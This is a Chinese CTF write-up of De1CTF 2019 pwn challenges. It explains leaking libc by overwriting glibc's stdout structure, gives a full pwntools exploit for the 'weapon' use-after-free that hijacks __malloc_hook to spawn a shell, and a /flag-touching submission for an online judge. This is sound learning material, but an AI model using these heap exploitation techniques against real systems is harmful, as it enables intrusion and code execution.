De1CTF 2019 PWN writeup

最近比赛很多,也借着比赛学习到了许多新的姿势,努力学习填坑追上与大佬们的差距吧,这次比赛只解出比较基础的 weaponA+B Judge ,比赛中学习到了无 leak 的堆可以通过 IO_FILE 来利用。

基础知识

简单的来说一下 IO_FILE 的利用,对于没有输出的程序,我们如果有能力改写stdout 结构体的 _flags和_IO_write_base 那么就可以输出一段数据,这段数据通常包含了 libc.so 中的地址,我们可以利用这些地址来达到信息泄漏。

源码分析

通过分析一下源码来看看为什么修改 stdout 结构体会有信息泄漏。

我们调用 puts 时发生了什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

这里会调用 _IO_sputn 这个函数 _IO_sputn实际上就是一个宏,调用了stdout的虚表中的_IO_xsputn_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

之后调用到了_IO_OVERFLOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

这里如果 _IO_CURRENTLY_PUTTING为1的话,程序就会执行下面的 if 分支。当IO_write_ptr与_IO_buf_end不相等的时候就会打印者之间的字符。我们再接着看一下函数_io_do_write,这个函数实际调用的时候会用到new_do_write函数,传递的参数如下。

1
2
3
4
5
 _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);

data = f->_IO_write_base
size = f->_IO_write_ptr - f->_IO_write_base
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //do syscall
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

如果满足 fp->_flags & _IO_IS_APPENDING == 1 ,我们可以控制 data size 就会额外输出一些信息,这些信息会包含 libc.so 中的信息。

weapon

先看一下保护情况,全开。

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/home/carlstar/Desktop/weapon'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序的漏洞还是很容易发现的,在 delete 中 free 后没有写 0 ,造成 uaf。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 sub_CBB()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = sub_AAE();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&unk_202060 + 2 * v1)); //here is vuln
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

idea

1
2
3
4
5
1、通过 uaf 来改写 fd 的低位然后通过 overlap 来改写 chunksize
2、将改写后的 chunk free 掉这样就会进入 unsortedbin 包含 main_area 的附近地址
3、这时 *(struct _IO_FILE_plus *) stdout的地址与fd高字节相同,只是后三个字节不同,不过因为覆盖时只能按字节覆盖,所以得爆破一个字节 1/16 的概率
4、修改后 fd 指向了 stdout 附近 可以通过不断 malloc 拿到这个地址,修改 fp 的结构,泄漏 libc
5、拿到 libc 后就是常规的把 malloc_hook 修改为 one_gadget get shell

覆盖前后 io_file 结构

改写结构之后的输出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

def create(index,size,name):
t.sendlineafter('choice >> \n', '1')
t.sendlineafter('size of weapon: ', str(size))
t.sendlineafter('index: ', str(index))
t.sendafter('\n', name)

def delete(index):
t.sendlineafter('choice >>', '2')
t.sendlineafter('input idx :', str(index))

def rename(index, name):
t.sendlineafter('choice >>', '3')
t.sendlineafter('input idx: ', str(index))
t.sendafter('new content:', name)




def exploit():
#raw_input()
create(0,0x20,p64(0) * 2 + p64(0x31))
create(1,0x20,'bbbb')
create(2,0x60,'bbbb')
create(3,0x60,'cccc')
delete(0)
delete(1)
rename(1,'\x18')
create(0,0x20,'aaaa')
create(1,0x20,p64(0) * 2 + p64(0xa1))
delete(0)
create(4,0x60,'\xdd\x25')
create(5,0x60,'aaaa')
delete(3)
delete(5)
rename(5,'\x30')
create(3,0x60,'aaaa')
create(3,0x60,'aaaa')
create(3,0x60,'\x00')
raw_input()
rename(3,cyclic(51) + p64(0xfbad1887) + p64(0) * 3 + '\x08')
t.recvn(57)
addr_libc = u64(t.recvn(6).ljust(8,'\x00')) - 200 - 0x3c5540
log.success('[+] libc_base: ' + hex(addr_libc))
magic = addr_libc + 0xf1147
addr_hook = addr_libc + 0x3c4b10
log.success('[+] addr_hook: ' + hex(addr_hook))
create(5,0x60,'aaaa')
create(6,0x60,'aaaa')
delete(6)
delete(5)
rename(5,p64(addr_hook - 0x23))
create(6,0x60,'aaaa')
create(7,0x60,cyclic(19) + p64(magic) * 3)
t.sendlineafter('choice >> \n', '1')
t.sendlineafter('size of weapon: ','10')
t.sendlineafter('index: ', '8')


if __name__ == '__main__':
while(True):
try:
t = remote('192.168.5.184', 9999)
exploit()
t.interactive()
break
except:
t.close()
continue

A+B Judge

这道题感觉有很多非预期,在线编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def compileSrc(src_path):
if os.system('gcc %s -o m'%src_path) != 0:
print('compile failure!')
return False
return True


def judge(src_path, td_path, td_total):
if not compileSrc(src_path):
return
for i in range(td_total):
in_path = os.path.join(td_path, '%d.in'%i)
out_path = os.path.join(td_path, '%d.out'%i)
if os.path.isfile(in_path) and os.path.isfile(out_path):
rst = runone('./m', in_path, out_path)
rst['result'] = RESULT_STR[rst['result']]
print(rst)
else:
print('testdata:%d incompleted' % i)
os.remove('./m')
exit(-1)
os.remove('./m')

if __name__ == '__main__':
import sys
if len(sys.argv) != 4:
print('Usage:%s srcfile testdata_pth testdata_total')
exit(-1)
judge(sys.argv[1], sys.argv[2], int(sys.argv[3]))

exp

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main()
{
FILE *fp = NULL;

fp = fopen("/flag", "w+");
fputs("This is testing for fputs...\n", fp);
fclose(fp);
}

参考链接

从一题看利用IO_file to leak

利用stdout来处理无leak的堆题

IO FILE 之劫持vtable及FSOP

KIRIN’S BLOG

文章作者: Carl Star
文章链接: http://carlstar.club/2019/08/29/De1CTF2019/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo